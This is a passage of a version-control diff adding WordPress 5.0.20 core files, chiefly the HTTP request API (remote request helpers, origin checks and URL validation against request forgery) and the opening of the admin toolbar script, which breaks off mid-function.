+ * @param mixed $readonly One of the values to compare
+ * @param mixed $current  (true) The other value to compare if not just true
+ * @param bool  $echo     Whether to echo or just return the string
+ * @return string html attribute or empty string
+ */
+function readonly( $readonly, $current = true, $echo = true ) {
+	return __checked_selected_helper( $readonly, $current, $echo, 'readonly' );
+}
+
+/**
+ * Private helper function for checked, selected, disabled and readonly.
+ *
+ * Compares the first two arguments and if identical marks as $type
+ *
+ * @since 2.8.0
+ * @access private
+ *
+ * @param mixed  $helper  One of the values to compare
+ * @param mixed  $current (true) The other value to compare if not just true
+ * @param bool   $echo    Whether to echo or just return the string
+ * @param string $type    The type of checked|selected|disabled|readonly we are doing
+ * @return string html attribute or empty string
+ */
+function __checked_selected_helper( $helper, $current, $echo, $type ) {
+	if ( (string) $helper === (string) $current )
+		$result = " $type='$type'";
+	else
+		$result = '';
+
+	if ( $echo )
+		echo $result;
+
+	return $result;
+}
+
+/**
+ * Default settings for heartbeat
+ *
+ * Outputs the nonce used in the heartbeat XHR
+ *
+ * @since 3.6.0
+ *
+ * @param array $settings
+ * @return array $settings
+ */
+function wp_heartbeat_settings( $settings ) {
+	if ( ! is_admin() )
+		$settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
+
+	if ( is_user_logged_in() )
+		$settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
+
+	return $settings;
+}
Index: /tags/5.0.20/src/wp-includes/http.php
===================================================================
--- /tags/5.0.20/src/wp-includes/http.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/http.php	(revision 56912)
@@ -0,0 +1,748 @@
+<?php
+/**
+ * Core HTTP Request API
+ *
+ * Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk
+ * decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ */
+
+/**
+ * Returns the initialized WP_Http Object
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @staticvar WP_Http $http
+ *
+ * @return WP_Http HTTP Transport object.
+ */
+function _wp_http_get_object() {
+	static $http = null;
+
+	if ( is_null( $http ) ) {
+		$http = new WP_Http();
+	}
+	return $http;
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_request( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->request( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request using the GET method.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_get( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->get( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request using the POST method.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_post( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->post( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request using the HEAD method.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url Site URL to retrieve.
+ * @param array $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_head( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->head( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from the HTTP request.
+ *
+ * The array structure is a little complex:
+ *
+ *     $res = array(
+ *         'headers'  => array(),
+ *         'response' => array(
+ *             'code'    => int,
+ *             'message' => string
+ *         )
+ *     );
+ *
+ * All of the headers in $res['headers'] are with the name as the key and the
+ * value as the value. So to get the User-Agent, you would do the following.
+ *
+ *     $user_agent = $res['headers']['user-agent'];
+ *
+ * The body is the raw response content and can be retrieved from $res['body'].
+ *
+ * This function is called first to make the request and there are other API
+ * functions to abstract out the above convoluted setup.
+ *
+ * Request method defaults for helper functions:
+ *  - Default 'GET'  for wp_remote_get()
+ *  - Default 'POST' for wp_remote_post()
+ *  - Default 'HEAD' for wp_remote_head()
+ *
+ * @since 2.7.0
+ *
+ * @see WP_Http::request() For additional information on default arguments.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_request($url, $args = array()) {
+	$http = _wp_http_get_object();
+	return $http->request( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the GET method.
+ *
+ * @since 2.7.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_get($url, $args = array()) {
+	$http = _wp_http_get_object();
+	return $http->get( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the POST method.
+ *
+ * @since 2.7.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_post($url, $args = array()) {
+	$http = _wp_http_get_object();
+	return $http->post( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the HEAD method.
+ *
+ * @since 2.7.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_head($url, $args = array()) {
+	$http = _wp_http_get_object();
+	return $http->head( $url, $args );
+}
+
+/**
+ * Retrieve only the headers from the raw response.
+ *
+ * @since 2.7.0
+ * @since 4.6.0 Return value changed from an array to an Requests_Utility_CaseInsensitiveDictionary instance.
+ *
+ * @see \Requests_Utility_CaseInsensitiveDictionary
+ *
+ * @param array $response HTTP response.
+ * @return array|\Requests_Utility_CaseInsensitiveDictionary The headers of the response. Empty array if incorrect parameter given.
+ */
+function wp_remote_retrieve_headers( $response ) {
+	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
+		return array();
+	}
+
+	return $response['headers'];
+}
+
+/**
+ * Retrieve a single header by name from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array  $response
+ * @param string $header Header name to retrieve value from.
+ * @return string The header value. Empty string on if incorrect parameter given, or if the header doesn't exist.
+ */
+function wp_remote_retrieve_header( $response, $header ) {
+	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
+		return '';
+	}
+
+	if ( isset( $response['headers'][ $header ] ) ) {
+		return $response['headers'][$header];
+	}
+
+	return '';
+}
+
+/**
+ * Retrieve only the response code from the raw response.
+ *
+ * Will return an empty array if incorrect parameter value is given.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return int|string The response code as an integer. Empty string on incorrect parameter given.
+ */
+function wp_remote_retrieve_response_code( $response ) {
+	if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response']))
+		return '';
+
+	return $response['response']['code'];
+}
+
+/**
+ * Retrieve only the response message from the raw response.
+ *
+ * Will return an empty array if incorrect parameter value is given.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return string The response message. Empty string on incorrect parameter given.
+ */
+function wp_remote_retrieve_response_message( $response ) {
+	if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response']))
+		return '';
+
+	return $response['response']['message'];
+}
+
+/**
+ * Retrieve only the body from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return string The body of the response. Empty string if no body or incorrect parameter given.
+ */
+function wp_remote_retrieve_body( $response ) {
+	if ( is_wp_error($response) || ! isset($response['body']) )
+		return '';
+
+	return $response['body'];
+}
+
+/**
+ * Retrieve only the cookies from the raw response.
+ *
+ * @since 4.4.0
+ *
+ * @param array $response HTTP response.
+ * @return array An array of `WP_Http_Cookie` objects from the response. Empty array if there are none, or the response is a WP_Error.
+ */
+function wp_remote_retrieve_cookies( $response ) {
+	if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) {
+		return array();
+	}
+
+	return $response['cookies'];
+}
+
+/**
+ * Retrieve a single cookie by name from the raw response.
+ *
+ * @since 4.4.0
+ *
+ * @param array  $response HTTP response.
+ * @param string $name     The name of the cookie to retrieve.
+ * @return WP_Http_Cookie|string The `WP_Http_Cookie` object. Empty string if the cookie isn't present in the response.
+ */
+function wp_remote_retrieve_cookie( $response, $name ) {
+	$cookies = wp_remote_retrieve_cookies( $response );
+
+	if ( empty( $cookies ) ) {
+		return '';
+	}
+
+	foreach ( $cookies as $cookie ) {
+		if ( $cookie->name === $name ) {
+			return $cookie;
+		}
+	}
+
+	return '';
+}
+
+/**
+ * Retrieve a single cookie's value by name from the raw response.
+ *
+ * @since 4.4.0
+ *
+ * @param array  $response HTTP response.
+ * @param string $name     The name of the cookie to retrieve.
+ * @return string The value of the cookie. Empty string if the cookie isn't present in the response.
+ */
+function wp_remote_retrieve_cookie_value( $response, $name ) {
+	$cookie = wp_remote_retrieve_cookie( $response, $name );
+
+	if ( ! is_a( $cookie, 'WP_Http_Cookie' ) ) {
+		return '';
+	}
+
+	return $cookie->value;
+}
+
+/**
+ * Determines if there is an HTTP Transport that can process this request.
+ *
+ * @since 3.2.0
+ *
+ * @param array  $capabilities Array of capabilities to test or a wp_remote_request() $args array.
+ * @param string $url          Optional. If given, will check if the URL requires SSL and adds
+ *                             that requirement to the capabilities array.
+ *
+ * @return bool
+ */
+function wp_http_supports( $capabilities = array(), $url = null ) {
+	$http = _wp_http_get_object();
+
+	$capabilities = wp_parse_args( $capabilities );
+
+	$count = count( $capabilities );
+
+	// If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array
+	if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) == $count ) {
+		$capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) );
+	}
+
+	if ( $url && !isset( $capabilities['ssl'] ) ) {
+		$scheme = parse_url( $url, PHP_URL_SCHEME );
+		if ( 'https' == $scheme || 'ssl' == $scheme ) {
+			$capabilities['ssl'] = true;
+		}
+	}
+
+	return (bool) $http->_get_first_available_transport( $capabilities );
+}
+
+/**
+ * Get the HTTP Origin of the current request.
+ *
+ * @since 3.4.0
+ *
+ * @return string URL of the origin. Empty string if no origin.
+ */
+function get_http_origin() {
+	$origin = '';
+	if ( ! empty ( $_SERVER[ 'HTTP_ORIGIN' ] ) )
+		$origin = $_SERVER[ 'HTTP_ORIGIN' ];
+
+	/**
+	 * Change the origin of an HTTP request.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $origin The original origin for the request.
+	 */
+	return apply_filters( 'http_origin', $origin );
+}
+
+/**
+ * Retrieve list of allowed HTTP origins.
+ *
+ * @since 3.4.0
+ *
+ * @return array Array of origin URLs.
+ */
+function get_allowed_http_origins() {
+	$admin_origin = parse_url( admin_url() );
+	$home_origin = parse_url( home_url() );
+
+	// @todo preserve port?
+	$allowed_origins = array_unique( array(
+		'http://' . $admin_origin[ 'host' ],
+		'https://' . $admin_origin[ 'host' ],
+		'http://' . $home_origin[ 'host' ],
+		'https://' . $home_origin[ 'host' ],
+	) );
+
+	/**
+	 * Change the origin types allowed for HTTP requests.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $allowed_origins {
+	 *     Default allowed HTTP origins.
+	 *     @type string Non-secure URL for admin origin.
+	 *     @type string Secure URL for admin origin.
+	 *     @type string Non-secure URL for home origin.
+	 *     @type string Secure URL for home origin.
+	 * }
+	 */
+	return apply_filters( 'allowed_http_origins' , $allowed_origins );
+}
+
+/**
+ * Determines if the HTTP origin is an authorized one.
+ *
+ * @since 3.4.0
+ *
+ * @param null|string $origin Origin URL. If not provided, the value of get_http_origin() is used.
+ * @return string Origin URL if allowed, empty string if not.
+ */
+function is_allowed_http_origin( $origin = null ) {
+	$origin_arg = $origin;
+
+	if ( null === $origin )
+		$origin = get_http_origin();
+
+	if ( $origin && ! in_array( $origin, get_allowed_http_origins() ) )
+		$origin = '';
+
+	/**
+	 * Change the allowed HTTP origin result.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $origin     Origin URL if allowed, empty string if not.
+	 * @param string $origin_arg Original origin string passed into is_allowed_http_origin function.
+	 */
+	return apply_filters( 'allowed_http_origin', $origin, $origin_arg );
+}
+
+/**
+ * Send Access-Control-Allow-Origin and related headers if the current request
+ * is from an allowed origin.
+ *
+ * If the request is an OPTIONS request, the script exits with either access
+ * control headers sent, or a 403 response if the origin is not allowed. For
+ * other request methods, you will receive a return value.
+ *
+ * @since 3.4.0
+ *
+ * @return string|false Returns the origin URL if headers are sent. Returns false
+ *                      if headers are not sent.
+ */
+function send_origin_headers() {
+	$origin = get_http_origin();
+
+	if ( is_allowed_http_origin( $origin ) ) {
+		@header( 'Access-Control-Allow-Origin: ' .  $origin );
+		@header( 'Access-Control-Allow-Credentials: true' );
+		if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] )
+			exit;
+		return $origin;
+	}
+
+	if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
+		status_header( 403 );
+		exit;
+	}
+
+	return false;
+}
+
+/**
+ * Validate a URL for safe use in the HTTP API.
+ *
+ * @since 3.5.2
+ *
+ * @param string $url
+ * @return false|string URL or false on failure.
+ */
+function wp_http_validate_url( $url ) {
+	$original_url = $url;
+	$url = wp_kses_bad_protocol( $url, array( 'http', 'https' ) );
+	if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) )
+		return false;
+
+	$parsed_url = @parse_url( $url );
+	if ( ! $parsed_url || empty( $parsed_url['host'] ) )
+		return false;
+
+	if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) )
+		return false;
+
+	if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) )
+		return false;
+
+	$parsed_home = @parse_url( get_option( 'home' ) );
+
+	if ( isset( $parsed_home['host'] ) ) {
+		$same_host = strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
+	} else {
+		$same_host = false;
+	}
+
+	if ( ! $same_host ) {
+		$host = trim( $parsed_url['host'], '.' );
+		if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) {
+			$ip = $host;
+		} else {
+			$ip = gethostbyname( $host );
+			if ( $ip === $host ) { // Error condition for gethostbyname()
+				return false;
+			}
+		}
+		if ( $ip ) {
+			$parts = array_map( 'intval', explode( '.', $ip ) );
+			if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
+				|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
+				|| ( 192 === $parts[0] && 168 === $parts[1] )
+			) {
+				// If host appears local, reject unless specifically allowed.
+				/**
+				 * Check if HTTP request is external or not.
+				 *
+				 * Allows to change and allow external requests for the HTTP request.
+				 *
+				 * @since 3.6.0
+				 *
+				 * @param bool   false Whether HTTP request is external or not.
+				 * @param string $host IP of the requested host.
+				 * @param string $url  URL of the requested host.
+				 */
+				if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) )
+					return false;
+			}
+		}
+	}
+
+	if ( empty( $parsed_url['port'] ) )
+		return $url;
+
+	$port = $parsed_url['port'];
+	if ( 80 === $port || 443 === $port || 8080 === $port )
+		return $url;
+
+	if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port )
+		return $url;
+
+	return false;
+}
+
+/**
+ * Whitelists allowed redirect hosts for safe HTTP requests as well.
+ *
+ * Attached to the {@see 'http_request_host_is_external'} filter.
+ *
+ * @since 3.6.0
+ *
+ * @param bool   $is_external
+ * @param string $host
+ * @return bool
+ */
+function allowed_http_request_hosts( $is_external, $host ) {
+	if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) )
+		$is_external = true;
+	return $is_external;
+}
+
+/**
+ * Whitelists any domain in a multisite installation for safe HTTP requests.
+ *
+ * Attached to the {@see 'http_request_host_is_external'} filter.
+ *
+ * @since 3.6.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @staticvar array $queried
+ *
+ * @param bool   $is_external
+ * @param string $host
+ * @return bool
+ */
+function ms_allowed_http_request_hosts( $is_external, $host ) {
+	global $wpdb;
+	static $queried = array();
+	if ( $is_external )
+		return $is_external;
+	if ( $host === get_network()->domain )
+		return true;
+	if ( isset( $queried[ $host ] ) )
+		return $queried[ $host ];
+	$queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) );
+	return $queried[ $host ];
+}
+
+/**
+ * A wrapper for PHP's parse_url() function that handles consistency in the return
+ * values across PHP versions.
+ *
+ * PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute url's, including
+ * schemeless and relative url's with :// in the path. This function works around
+ * those limitations providing a standard output on PHP 5.2~5.4+.
+ *
+ * Secondly, across various PHP versions, schemeless URLs starting containing a ":"
+ * in the query are being handled inconsistently. This function works around those
+ * differences as well.
+ *
+ * Error suppression is used as prior to PHP 5.3.3, an E_WARNING would be generated
+ * when URL parsing failed.
+ *
+ * @since 4.4.0
+ * @since 4.7.0 The $component parameter was added for parity with PHP's parse_url().
+ *
+ * @link https://secure.php.net/manual/en/function.parse-url.php
+ *
+ * @param string $url       The URL to parse.
+ * @param int    $component The specific component to retrieve. Use one of the PHP
+ *                          predefined constants to specify which one.
+ *                          Defaults to -1 (= return all parts as an array).
+ * @return mixed False on parse failure; Array of URL components on success;
+ *               When a specific component has been requested: null if the component
+ *               doesn't exist in the given URL; a string or - in the case of
+ *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
+ */
+function wp_parse_url( $url, $component = -1 ) {
+	$to_unset = array();
+	$url = strval( $url );
+
+	if ( '//' === substr( $url, 0, 2 ) ) {
+		$to_unset[] = 'scheme';
+		$url = 'placeholder:' . $url;
+	} elseif ( '/' === substr( $url, 0, 1 ) ) {
+		$to_unset[] = 'scheme';
+		$to_unset[] = 'host';
+		$url = 'placeholder://placeholder' . $url;
+	}
+
+	$parts = @parse_url( $url );
+
+	if ( false === $parts ) {
+		// Parsing failure.
+		return $parts;
+	}
+
+	// Remove the placeholder values.
+	foreach ( $to_unset as $key ) {
+		unset( $parts[ $key ] );
+	}
+
+	return _get_component_from_parsed_url_array( $parts, $component );
+}
+
+/**
+ * Retrieve a specific component from a parsed URL array.
+ *
+ * @internal
+ *
+ * @since 4.7.0
+ * @access private
+ *
+ * @link https://secure.php.net/manual/en/function.parse-url.php
+ *
+ * @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse.
+ * @param int    $component The specific component to retrieve. Use one of the PHP
+ *                          predefined constants to specify which one.
+ *                          Defaults to -1 (= return all parts as an array).
+ * @return mixed False on parse failure; Array of URL components on success;
+ *               When a specific component has been requested: null if the component
+ *               doesn't exist in the given URL; a string or - in the case of
+ *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
+ */
+function _get_component_from_parsed_url_array( $url_parts, $component = -1 ) {
+	if ( -1 === $component ) {
+		return $url_parts;
+	}
+
+	$key = _wp_translate_php_url_constant_to_key( $component );
+	if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) {
+		return $url_parts[ $key ];
+	} else {
+		return null;
+	}
+}
+
+/**
+ * Translate a PHP_URL_* constant to the named array keys PHP uses.
+ *
+ * @internal
+ *
+ * @since 4.7.0
+ * @access private
+ *
+ * @link https://secure.php.net/manual/en/url.constants.php
+ *
+ * @param int $constant PHP_URL_* constant.
+ * @return string|bool The named key or false.
+ */
+function _wp_translate_php_url_constant_to_key( $constant ) {
+	$translation = array(
+		PHP_URL_SCHEME   => 'scheme',
+		PHP_URL_HOST     => 'host',
+		PHP_URL_PORT     => 'port',
+		PHP_URL_USER     => 'user',
+		PHP_URL_PASS     => 'pass',
+		PHP_URL_PATH     => 'path',
+		PHP_URL_QUERY    => 'query',
+		PHP_URL_FRAGMENT => 'fragment',
+	);
+
+	if ( isset( $translation[ $constant ] ) ) {
+		return $translation[ $constant ];
+	} else {
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/images/crystal/license.txt
===================================================================
--- /tags/5.0.20/src/wp-includes/images/crystal/license.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/images/crystal/license.txt	(revision 56912)
@@ -0,0 +1,9 @@
+Crystal Project Icons
+by Everaldo Coelho
+http://everaldo.com
+
+Released under LGPL
+
+Modified February 2008
+for WordPress
+https://wordpress.org
Index: /tags/5.0.20/src/wp-includes/js/admin-bar.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/admin-bar.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/admin-bar.js	(revision 56912)
@@ -0,0 +1,387 @@
+/* jshint loopfunc: true */
+// use jQuery and hoverIntent if loaded
+if ( typeof(jQuery) != 'undefined' ) {
+	if ( typeof(jQuery.fn.hoverIntent) == 'undefined' ) {
+		/* jshint ignore:start */
+		// hoverIntent v1.8.1 - Copy of wp-includes/js/hoverIntent.min.js
+		!function(a){a.fn.hoverIntent=function(b,c,d){var e={interval:100,sensitivity:6,timeout:0};e="object"==typeof b?a.extend(e,b):a.isFunction(c)?a.extend(e,{over:b,out:c,selector:d}):a.extend(e,{over:b,out:b,selector:c});var f,g,h,i,j=function(a){f=a.pageX,g=a.pageY},k=function(b,c){return c.hoverIntent_t=clearTimeout(c.hoverIntent_t),Math.sqrt((h-f)*(h-f)+(i-g)*(i-g))<e.sensitivity?(a(c).off("mousemove.hoverIntent",j),c.hoverIntent_s=!0,e.over.apply(c,[b])):(h=f,i=g,c.hoverIntent_t=setTimeout(function(){k(b,c)},e.interval),void 0)},l=function(a,b){return b.hoverIntent_t=clearTimeout(b.hoverIntent_t),b.hoverIntent_s=!1,e.out.apply(b,[a])},m=function(b){var c=a.extend({},b),d=this;d.hoverIntent_t&&(d.hoverIntent_t=clearTimeout(d.hoverIntent_t)),"mouseenter"===b.type?(h=c.pageX,i=c.pageY,a(d).on("mousemove.hoverIntent",j),d.hoverIntent_s||(d.hoverIntent_t=setTimeout(function(){k(c,d)},e.interval))):(a(d).off("mousemove.hoverIntent",j),d.hoverIntent_s&&(d.hoverIntent_t=setTimeout(function(){l(c,d)},e.timeout)))};return this.on({"mouseenter.hoverIntent":m,"mouseleave.hoverIntent":m},e.selector)}}(jQuery);
+		/* jshint ignore:end */
+	}
+	jQuery(document).ready(function($){
+		var adminbar = $('#wpadminbar'), refresh, touchOpen, touchClose, disableHoverIntent = false;
+
+		refresh = function(i, el){ // force the browser to refresh the tabbing index
+			var node = $(el), tab = node.attr('tabindex');
+			if ( tab )
+				node.attr('tabindex', '0').attr('tabindex', tab);
+		};
+
+		touchOpen = function(unbind) {
+			adminbar.find('li.menupop').on('click.wp-mobile-hover', function(e) {
+				var el = $(this);
+
+				if ( el.parent().is('#wp-admin-bar-root-default') && !el.hasClass('hover') ) {
+					e.preventDefault();
+					adminbar.find('li.menupop.hover').removeClass('hover');
+					el.addClass('hover');
+				} else if ( !el.hasClass('hover') ) {
+					e.stopPropagation();
+					e.preventDefault();
+					el.addClass('hover');
+				} else if ( ! $( e.target ).closest( 'div' ).hasClass( 'ab-sub-wrapper' ) ) {
+					// We're dealing with an already-touch-opened menu genericon (we know el.hasClass('hover')),
+					// so close it on a second tap and prevent propag and defaults. See #29906
+					e.stopPropagation();
+					e.preventDefault();
+					el.removeClass('hover');
+				}
+
+				if ( unbind ) {
+					$('li.menupop').off('click.wp-mobile-hover');
+					disableHoverIntent = false;
+				}
+			});
+		};
+
+		touchClose = function() {
+			var mobileEvent = /Mobile\/.+Safari/.test(navigator.userAgent) ? 'touchstart' : 'click';
+			// close any open drop-downs when the click/touch is not on the toolbar
+			$(document.body).on( mobileEvent+'.wp-mobile-hover', function(e) {
+				if ( !$(e.target).closest('#wpadminbar').length )
+					adminbar.find('li.menupop.hover').removeClass('hover');
+			});
+		};
+
+		adminbar.removeClass('nojq').removeClass('nojs');
+
+		if ( 'ontouchstart' in window ) {
+			adminbar.on('touchstart', function(){
+				touchOpen(true);
+				disableHoverIntent = true;
+			});
+			touchClose();
+		} else if ( /IEMobile\/[1-9]/.test(navigator.userAgent) ) {
+			touchOpen();
+			touchClose();
+		}
+
+		adminbar.find('li.menupop').hoverIntent({
+			over: function() {
+				if ( disableHoverIntent )
+					return;
+
+				$(this).addClass('hover');
+			},
+			out: function() {
+				if ( disableHoverIntent )
+					return;
+
+				$(this).removeClass('hover');
+			},
+			timeout: 180,
+			sensitivity: 7,
+			interval: 100
+		});
+
+		if ( window.location.hash )
+			window.scrollBy( 0, -32 );
+
+		$('#wp-admin-bar-get-shortlink').click(function(e){
+			e.preventDefault();
+			$(this).addClass('selected').children('.shortlink-input').blur(function(){
+				$(this).parents('#wp-admin-bar-get-shortlink').removeClass('selected');
+			}).focus().select();
+		});
+
+		$('#wpadminbar li.menupop > .ab-item').bind('keydown.adminbar', function(e){
+			if ( e.which != 13 )
+				return;
+
+			var target = $(e.target),
+				wrap = target.closest('.ab-sub-wrapper'),
+				parentHasHover = target.parent().hasClass('hover');
+
+			e.stopPropagation();
+			e.preventDefault();
+
+			if ( !wrap.length )
+				wrap = $('#wpadminbar .quicklinks');
+
+			wrap.find('.menupop').removeClass('hover');
+
+			if ( ! parentHasHover ) {
+				target.parent().toggleClass('hover');
+			}
+
+			target.siblings('.ab-sub-wrapper').find('.ab-item').each(refresh);
+		}).each(refresh);
+
+		$('#wpadminbar .ab-item').bind('keydown.adminbar', function(e){
+			if ( e.which != 27 )
+				return;
+
+			var target = $(e.target);
+
+			e.stopPropagation();
+			e.preventDefault();
+
+			target.closest('.hover').removeClass('hover').children('.ab-item').focus();
+			target.siblings('.ab-sub-wrapper').find('.ab-item').each(refresh);
+		});
+
+		adminbar.click( function(e) {
+			if ( e.target.id != 'wpadminbar' && e.target.id != 'wp-admin-bar-top-secondary' ) {
+				return;
+			}
+
+			adminbar.find( 'li.menupop.hover' ).removeClass( 'hover' );
+			$( 'html, body' ).animate( { scrollTop: 0 }, 'fast' );
+			e.preventDefault();
+		});
+
+		// fix focus bug in WebKit
+		$('.screen-reader-shortcut').keydown( function(e) {
+			var id, ua;
+
+			if ( 13 != e.which )
+				return;
+
+			id = $( this ).attr( 'href' );
+
+			ua = navigator.userAgent.toLowerCase();
+
+			if ( ua.indexOf('applewebkit') != -1 && id && id.charAt(0) == '#' ) {
+				setTimeout(function () {
+					$(id).focus();
+				}, 100);
+			}
+		});
+
+		$( '#adminbar-search' ).on({
+			focus: function() {
+				$( '#adminbarsearch' ).addClass( 'adminbar-focused' );
+			}, blur: function() {
+				$( '#adminbarsearch' ).removeClass( 'adminbar-focused' );
+			}
+		} );
+
+		// Empty sessionStorage on logging out
+		if ( 'sessionStorage' in window ) {
+			$('#wp-admin-bar-logout a').click( function() {
+				try {
+					for ( var key in sessionStorage ) {
+						if ( key.indexOf('wp-autosave-') != -1 )
+							sessionStorage.removeItem(key);
+					}
+				} catch(e) {}
+			});
+		}
+
+		if ( navigator.userAgent && document.body.className.indexOf( 'no-font-face' ) === -1 &&
+			/Android (1.0|1.1|1.5|1.6|2.0|2.1)|Nokia|Opera Mini|w(eb)?OSBrowser|webOS|UCWEB|Windows Phone OS 7|XBLWP7|ZuneWP7|MSIE 7/.test( navigator.userAgent ) ) {
+
+			document.body.className += ' no-font-face';
+		}
+	});
+} else {
+	(function(d, w) {
+		var addEvent = function( obj, type, fn ) {
+			if ( obj.addEventListener )
+				obj.addEventListener(type, fn, false);
+			else if ( obj.attachEvent )
+				obj.attachEvent('on' + type, function() { return fn.call(obj, window.event);});
+		},
+
+		aB, hc = new RegExp('\\bhover\\b', 'g'), q = [],
+		rselected = new RegExp('\\bselected\\b', 'g'),
+
+		/**
+		 * Get the timeout ID of the given element
+		 */
+		getTOID = function(el) {
+			var i = q.length;
+			while ( i-- ) {
+				if ( q[i] && el == q[i][1] )
+					return q[i][0];
+			}
+			return false;
+		},
+
+		addHoverClass = function(t) {
+			var i, id, inA, hovering, ul, li,
+				ancestors = [],
+				ancestorLength = 0;
+
